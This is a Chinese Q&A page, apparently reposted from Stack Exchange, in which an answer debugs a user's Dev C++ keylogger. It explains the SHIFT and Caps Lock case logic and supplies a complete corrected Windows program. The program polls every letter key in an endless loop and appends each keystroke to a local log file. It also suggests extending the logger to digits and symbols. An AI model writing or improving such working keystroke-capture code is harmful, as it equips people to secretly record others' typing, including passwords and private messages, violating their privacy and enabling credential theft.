You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多
文档控制台
免费开始使用

Dev C++键盘记录器检测SHIFT键按下状态问题求助

解决Dev C++键盘记录器中SHIFT键大小写切换的问题

看起来你在做键盘记录器时卡在了SHIFT键的大小写切换逻辑上,我帮你梳理下代码里的问题,然后给出修正后的版本。

你的代码里的几个核心问题

  • 程序只检测一次按键就退出:原来的for循环跑完一次后直接return 0了,根本没法持续记录按键,得改成无限循环才行。
  • SHIFT和Caps Lock的判断逻辑错了:你现在的条件会每次按键都反转MINUSCOLA,这不符合实际的大小写规则——SHIFT是按住临时生效,Caps Lock是切换状态,应该实时计算当前的大小写状态,而不是靠变量反转。
  • 遍历了太多无关按键:0到165的虚拟键里大部分不是字母,直接i+32会输出一堆乱码,应该只处理A-Z的键。
  • GetKeyState用错了:判断SHIFT是否按住要看返回值的高位(0x8000),低位是给Caps Lock这种切换键用的,你搞反了。

修正后的代码

#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
#pragma warning(disable: 4996) // 修正警告指令的正确写法
#define DELAY 170

using namespace std;

void WriteToLog(char key) {
    FILE *pLogFile = fopen("hooked.txt", "a+");
    if (pLogFile != NULL) { // 加个判断,防止文件打不开崩溃
        fprintf(pLogFile, "%c", key);
        fclose(pLogFile);
    }
}

int main() {
    while (true) { // 改成无限循环,持续检测按键
        for (int i = 65; i <= 90; i++) { // 只处理A-Z的虚拟键(对应键盘上的大写字母键)
            if (GetAsyncKeyState(i) & 0x8000) { // 检测当前按键是否被按下
                // 判断Caps Lock是否开启(低位0x0001表示切换状态)
                bool isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
                // 判断SHIFT是否被按住(高位0x8000表示当前按键状态)
                bool isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
                
                // 用异或运算判断最终大小写:SHIFT和Caps Lock状态不同则大写,相同则小写
                bool shouldBeUpperCase = isShiftPressed ^ isCapsLockOn;
                
                if (shouldBeUpperCase) {
                    WriteToLog((char)i); // 直接写入大写字母
                } else {
                    WriteToLog((char)(i + 32)); // 转成小写写入
                }
                
                // 延迟一下,避免按住按键时重复记录
                Sleep(DELAY);
            }
        }
        Sleep(DELAY);
    }
    return 0;
}

关键修改说明

  1. 无限循环:用while(true)让程序一直运行,持续检测按键。
  2. 聚焦字母键:只遍历65到90的虚拟键,对应键盘上的A-Z,避免处理无关按键产生乱码。
  3. 正确的状态判断
    • Caps Lock是切换键,用GetKeyState的低位判断是否开启;
    • SHIFT是临时按键,用GetKeyState的高位判断是否按住;
    • 异或运算^完美模拟系统的大小写规则:比如Caps Lock开着,按住SHIFT就输出小写,和我们平时用键盘的逻辑一致。
  4. 文件安全:增加文件打开成功的判断,防止因为权限或路径问题导致程序崩溃。
  5. 修正警告指令:原来的#pragma disable warning写法不对,改成标准的#pragma warning(disable: 4996)来禁用fopen的安全警告。

小提示

如果之后要扩展记录数字、符号的功能,可以把循环范围扩大,然后给数字键做映射(比如按下SHIFT+1时输出!),不过得单独处理这些按键的对应关系哦。

内容的提问来源于stack exchange,提问作者Dovakino

火山引擎 最新活动